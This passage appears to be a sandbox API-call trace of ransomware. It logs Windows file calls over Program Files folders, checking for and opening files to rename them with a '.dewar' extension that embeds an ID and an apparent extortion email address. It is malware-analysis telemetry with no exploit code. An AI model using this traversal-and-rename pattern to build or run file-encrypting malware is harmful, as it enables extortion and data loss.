hTemplateFile=0x0) returned 0xffffffff [0258.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0258.397] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=303104) returned 1 [0258.397] CloseHandle (hObject=0x1e0) returned 1 [0258.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll")) returned 0x20 [0258.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll")) returned 0x20 [0258.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0258.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.022] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2560) returned 1 [0259.022] CloseHandle (hObject=0x1e0) returned 1 [0259.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0259.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0259.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.023] SetEvent (hEvent=0x118) returned 1 [0259.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.024] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2048) returned 1 [0259.025] CloseHandle (hObject=0x1e0) returned 1 [0259.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0259.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0259.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.026] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2048) returned 1 [0259.026] CloseHandle (hObject=0x1e0) returned 1 [0259.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui")) returned 0x20 [0259.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui")) returned 0x20 [0259.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.032] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5120) returned 1 [0259.032] CloseHandle (hObject=0x1e0) returned 1 [0259.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0259.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0259.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.033] SetEvent (hEvent=0x118) returned 1 [0259.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.034] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=11776) returned 1 [0259.034] CloseHandle (hObject=0x1e0) returned 1 [0259.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui")) returned 0x20 [0259.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui")) returned 0x20 [0259.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.036] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2048) returned 1 [0259.036] CloseHandle (hObject=0x1e0) returned 1 [0259.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui")) returned 0x20 [0259.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui")) returned 0x20 [0259.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.037] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2048) returned 1 [0259.037] CloseHandle (hObject=0x1e0) returned 1 [0259.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui")) returned 0x20 [0259.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui")) returned 0x20 [0259.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.044] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=7168) returned 1 [0259.044] CloseHandle (hObject=0x1e0) returned 1 [0259.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui")) returned 0x20 [0259.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui")) returned 0x20 [0259.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.045] SetEvent (hEvent=0x118) returned 1 [0259.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.048] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=52736) returned 1 [0259.048] CloseHandle (hObject=0x1e0) returned 1 [0259.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0259.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0259.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.049] SetEvent (hEvent=0x118) returned 1 [0259.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.050] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2649) returned 1 [0259.050] CloseHandle (hObject=0x1e0) returned 1 [0259.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc")) returned 0x20 [0259.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc")) returned 0x20 [0259.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ie8props.propdesc.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iecompat.dll" (normalized: "c:\\program files\\internet explorer\\iecompat.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.052] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=7680) returned 1 [0259.052] CloseHandle (hObject=0x1e0) returned 1 [0259.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iecompat.dll" (normalized: "c:\\program files\\internet explorer\\iecompat.dll")) returned 0x20 [0259.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iecompat.dll" (normalized: "c:\\program files\\internet explorer\\iecompat.dll")) returned 0x20 [0259.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iecompat.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\iecompat.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iecompat.dll" (normalized: "c:\\program files\\internet explorer\\iecompat.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iedvtool.dll" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.056] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1013248) returned 1 [0259.056] CloseHandle (hObject=0x1e0) returned 1 [0259.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iedvtool.dll" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll")) returned 0x20 [0259.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iedvtool.dll" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll")) returned 0x20 [0259.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iedvtool.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iedvtool.dll" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.057] SetEvent (hEvent=0x118) returned 1 [0259.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.058] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=269824) returned 1 [0259.058] CloseHandle (hObject=0x1e0) returned 1 [0259.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0259.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0259.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.060] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=115712) returned 1 [0259.060] CloseHandle (hObject=0x1e0) returned 1 [0259.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0259.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0259.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0259.070] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=451072) returned 1 [0259.070] CloseHandle (hObject=0x1e0) returned 1 [0259.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll")) returned 0x20 [0259.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll")) returned 0x20 [0259.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieproxy.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0259.591] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=293376) returned 1 [0259.591] CloseHandle (hObject=0xe0) returned 1 [0259.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0259.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0259.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\ieshims.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.595] SetEvent (hEvent=0x118) returned 1 [0259.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdbgui.dll" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0259.596] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=505344) returned 1 [0259.596] CloseHandle (hObject=0xe0) returned 1 [0259.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdbgui.dll" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll")) returned 0x20 [0259.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdbgui.dll" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll")) returned 0x20 [0259.596] GetFileAttributesW 